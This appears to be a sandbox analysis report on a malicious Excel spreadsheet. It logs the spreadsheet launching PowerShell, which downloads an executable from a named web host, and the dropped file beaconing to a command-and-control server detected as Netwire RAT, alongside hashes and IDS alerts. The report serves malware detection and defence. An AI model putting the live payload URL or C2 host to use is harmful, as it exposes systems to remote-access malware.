Value: 04000000E4110000090000004100500050002D0045005800430045004C00000000000000000002600000000000000000000000000000A27A3326A27A332600000000E00200000020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000BD0500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000E90500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000F10500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000460700000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000F00600000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000270800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000BD06000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000009A0600000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000FC060000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Excel\Resiliency\DocumentRecovery\26337AA2
Operation:	write	Name:	26337AA2
Value: 04000000E4110000090000004100500050002D0045005800430045004C00000000000000000002600000000000000000000000000000A27A3326A27A332600000000E0020000002000000000000000000000000000000000000000000000000000002C0000000200000003000000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9C0000009C0000005C040000850200005402010000000000B22E00000000000000000000BD0500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000E90500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000F10500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000460700000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000F00600000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000270800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000BD06000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000009A0600000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000FC060000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000

Add for printing

Executable files

Suspicious files

Text files

Unknown types

Dropped files

PID	Process	Filename		Type
4580	EXCEL.EXE	C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\Z0B3631KDJ1WL4OLCXIM.temp		—
		MD5:—	SHA256:—
4580	EXCEL.EXE	C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms		—
		MD5:—	SHA256:—
4580	EXCEL.EXE	C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\7OJ3GWE2MNKXM9VH8HAV.temp		—
		MD5:—	SHA256:—
1948	powershell.exe	C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_j5m1lfzy.0oo.ps1		—
		MD5:—	SHA256:—
1948	powershell.exe	C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_x5qbth5m.rfy.psm1		—
		MD5:—	SHA256:—
1948	powershell.exe	C:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive		binary
		MD5:65BDD5145D97FA744EEF1CB6762B6F6D	SHA256:D2025033AC5B23ED2BC7B8518CE20528781835C6C4C485A0AA1BED3B388ACF4A
4580	EXCEL.EXE	C:\Users\admin\AppData\Roaming\Microsoft\Office\Recent\LetterofIntent-Eckharthelicopter.xls.LNK		lnk
		MD5:0F58D7EE239E09EBC5980639C0D7EAA2	SHA256:0739146FBE5404F541B3272A1F224CBB034DA96DE5F527E8DA997E0DE508C4D5
4580	EXCEL.EXE	C:\Users\admin\AppData\Local\Temp\.ses		text
		MD5:C33ED3B632A8C623EA345A9B78D2524F	SHA256:7256054B34B9DD3414CA30A35507F58CC4470E9885BA2F4AB3C33C21B547EEA8
4580	EXCEL.EXE	C:\Users\admin\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules.xml		xml
		MD5:AD7C7878A2A9562233909B60DDA482DD	SHA256:A76F0B3CB711829EC6B1FA57C74805610E30FDFD0A958DDF2389E4A5022AE939
4580	EXCEL.EXE	C:\Users\admin\AppData\Local\Microsoft\Office\16.0\WebServiceCache\AllUsers\officeclient.microsoft.com\C0E5D08C-4B40-44F8-AC52-044B8C0E498A		xml
		MD5:A8F520B6746F3FA641A8B8342E819BCD	SHA256:94D969F5FD76CC4E8FD4ED42864FC6B7AD9B9FCBB7FC9F39E21970648A8D4B6B
1948	powershell.exe	C:\Users\admin\AppData\Local\Temp\solute.exe		executable
		MD5:91506BC2A51501164B6A2B0C18AD1C44	SHA256:B16B3D99441F078E081E2AC0A8F0121CE4DAB264BF434E353D1E00A57E54D3AA
4580	EXCEL.EXE	C:\Users\admin\AppData\Roaming\Microsoft\Office\Recent\index.dat		text
		MD5:C9504642E06A4D3A31D20AC06ED6713A	SHA256:40F7D6FFFC2BDCD0748D0E4B405D8D03772A7DE2E378A30E3EB5EF4D19930065
2752	solute.exe	C:\Users\admin\AppData\Roaming\solu\solu.exe		executable
		MD5:91506BC2A51501164B6A2B0C18AD1C44	SHA256:B16B3D99441F078E081E2AC0A8F0121CE4DAB264BF434E353D1E00A57E54D3AA

Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Add for printing

HTTP(S) requests

TCP/UDP connections

DNS requests

Threats

HTTP requests

PID	Process	Method	HTTP Code	IP	URL	CN	Type	Size	Reputation
4580	EXCEL.EXE	GET	200	13.107.42.23:443	https://config.edge.skype.com/config/v2/Office/excel/16.0.12026.20264/Production/CC?&Clientid=%7bD61AB268-C26A-439D-BB15-2A0DEDFCA6A3%7d&Application=excel&Platform=win32&Version=16.0.12026.20264&MsoVersion=16.0.12026.20194&Audience=Production&Build=ship&Architecture=x64&Language=en-US&SubscriptionLicense=false&PerpetualLicense=2019&Channel=CC&InstallType=C2R&SessionId=%7b61BF321D-C30A-4492-9F75-7F82F56F1BC1%7d&LabMachine=false	US	text	89.4 Kb	whitelisted
1948	powershell.exe	GET	200	45.40.135.135:80	http://hodrc.org/ot/solut.exe	US	executable	1.40 Mb	suspicious
4580	EXCEL.EXE	POST	200	52.114.128.70:443	https://self.events.data.microsoft.com/OneCollector/1.0/	US	text	9 b	whitelisted
4580	EXCEL.EXE	POST	200	52.114.128.70:443	https://self.events.data.microsoft.com/OneCollector/1.0/	US	text	56 b	whitelisted
4580	EXCEL.EXE	GET	200	52.109.8.19:443	https://nexusrules.officeapps.live.com/nexus/rules?Application=excel.exe&Version=16.0.12026.20264&ClientId=%7bD61AB268-C26A-439D-BB15-2A0DEDFCA6A3%7d&OSEnvironment=10&MsoAppId=1&AudienceName=Production&AudienceGroup=Production&AppVersion=16.0.12026.20264&	US	xml	313 Kb	whitelisted
4580	EXCEL.EXE	GET	200	52.109.76.6:443	https://officeclient.microsoft.com/config16/?lcid=1033&syslcid=1033&uilcid=1033&build=16.0.12026&crev=3	IE	xml	124 Kb	whitelisted
4580	EXCEL.EXE	POST	200	40.90.137.124:443	https://login.live.com/RST2.srf	US	xml	1.29 Kb	whitelisted
4580	EXCEL.EXE	POST	200	40.90.137.124:443	https://login.live.com/ppsecure/deviceaddcredential.srf	US	text	16.7 Kb	whitelisted
4580	EXCEL.EXE	POST	200	40.90.137.124:443	https://login.live.com/RST2.srf	US	xml	11.1 Kb	whitelisted
4580	EXCEL.EXE	POST	200	40.90.137.124:443	https://login.live.com/RST2.srf	US	xml	1.98 Kb	whitelisted
4580	EXCEL.EXE	POST	200	40.90.137.124:443	https://login.live.com/RST2.srf	US	xml	11.1 Kb	whitelisted
4580	EXCEL.EXE	POST	200	40.90.137.124:443	https://login.live.com/RST2.srf	US	xml	9.87 Kb	whitelisted
4580	EXCEL.EXE	POST	200	40.90.137.124:443	https://login.live.com/RST2.srf	US	xml	11.1 Kb	whitelisted
4580	EXCEL.EXE	POST	200	52.114.128.70:443	https://self.events.data.microsoft.com/OneCollector/1.0/	US	text	9 b	whitelisted
4580	EXCEL.EXE	GET	304	20.191.48.196:443	https://settings-win-ppe.data.microsoft.com/settings/v2.0/Storage/StorageHealthEvaluation?os=Windows&deviceClass=Windows.Desktop&appVer=1.0.0.0	US	—	—	whitelisted

Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID	Process	IP	Domain	ASN	CN	Reputation
4580	EXCEL.EXE	13.107.42.23:443	config.edge.skype.com	Microsoft Corporation	US	suspicious
1948	powershell.exe	45.40.135.135:80	hodrc.org	GoDaddy.com, LLC	US	suspicious
4580	EXCEL.EXE	52.109.76.6:443	officeclient.microsoft.com	Microsoft Corporation	IE	whitelisted
4580	EXCEL.EXE	52.114.128.70:443	self.events.data.microsoft.com	Microsoft Corporation	US	unknown
1740	solu.exe	185.165.153.158:2022	solution.myddns.me	—	NL	malicious
4356	svchost.exe	20.191.48.196:443	settings-win-ppe.data.microsoft.com	Microsoft Corporation	US	unknown
3388	svchost.exe	40.90.137.124:443	login.live.com	Microsoft Corporation	US	unknown
4580	EXCEL.EXE	52.109.8.19:443	nexusrules.officeapps.live.com	Microsoft Corporation	US	whitelisted

DNS requests

Domain	IP	Reputation
config.edge.skype.com	13.107.42.23	whitelisted
hodrc.org	45.40.135.135	unknown
self.events.data.microsoft.com	52.114.128.70 52.114.6.47	whitelisted
solution.myddns.me	185.165.153.158	malicious
officeclient.microsoft.com	52.109.76.6	whitelisted
nexusrules.officeapps.live.com	52.109.8.19	whitelisted
login.live.com	40.90.137.124 40.90.137.125 40.90.23.247 40.90.23.153 40.90.137.126 40.90.23.206 40.90.137.120 40.90.137.127	whitelisted
settings-win-ppe.data.microsoft.com	20.191.48.196	whitelisted

Threats

PID	Process	Class	Message
1948	powershell.exe	Potential Corporate Privacy Violation	ET POLICY PE EXE or DLL Windows file download HTTP
1948	powershell.exe	Potentially Bad Traffic	ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download
1740	solu.exe	A Network Trojan was detected	MALWARE [PTsecurity] Netwire.RAT
1740	solu.exe	A Network Trojan was detected	MALWARE [PTsecurity] Netwire.RAT
1740	solu.exe	A Network Trojan was detected	MALWARE [PTsecurity] Netwire.RAT

2 ETPRO signatures available at the full report

Add for printing

Process	Message
conhost.exe	InitSideBySide failed create an activation context. Error: 1814

General Info

LetterofIntent-Eckharthelicopter.xls

6CB7256DDE8C6CF09FC82B7F75FD18AD

9B5BB3F2FDA7A6E316A210942D0D65D1E877761D

2CB072D9FCC9413A91B245513366C7BB52BFEC2638F67C158520C2854E264208

12288:huj3HVAQHVxSCyGnOsDRGzg5Bi0nvGfqTuRJwWJsZSk9A+oMD1L0Nc:UXVAQ1xSp8IzgSgvqRJwWJsZSoywL0S

Software environment set and analysis options

Launch configuration

Software preset

Hotfixes

Behavior activities

MALICIOUS

Unusual execution from Microsoft Office

Executes PowerShell scripts

Starts CMD.EXE for commands execution

Application was dropped or rewritten from another process

Downloads executable files from the Internet

Connects to CnC server

Changes the autorun value in the registry

NETWIRE was detected

SUSPICIOUS

Reads Environment values

Creates files in the user directory

Starts itself from another location

Executable content was dropped or overwritten

Reads the machine GUID from the registry

INFO

Reads settings of System Certificates

Reads Environment values

Reads the software policy settings

Creates files in the user directory

Scans artifacts that could help determine the target

Reads the machine GUID from the registry

Reads Microsoft Office registry keys

Static information

TRiD

EXIF

FlashPix

Video and screenshots

Processes

Behavior graph

Specs description

Process information

Information

Information

Information

Information

Information

Information

Registry activity

Modification events

Files activity

Dropped files

Network activity

HTTP requests

Connections

DNS requests

Threats

Debug output strings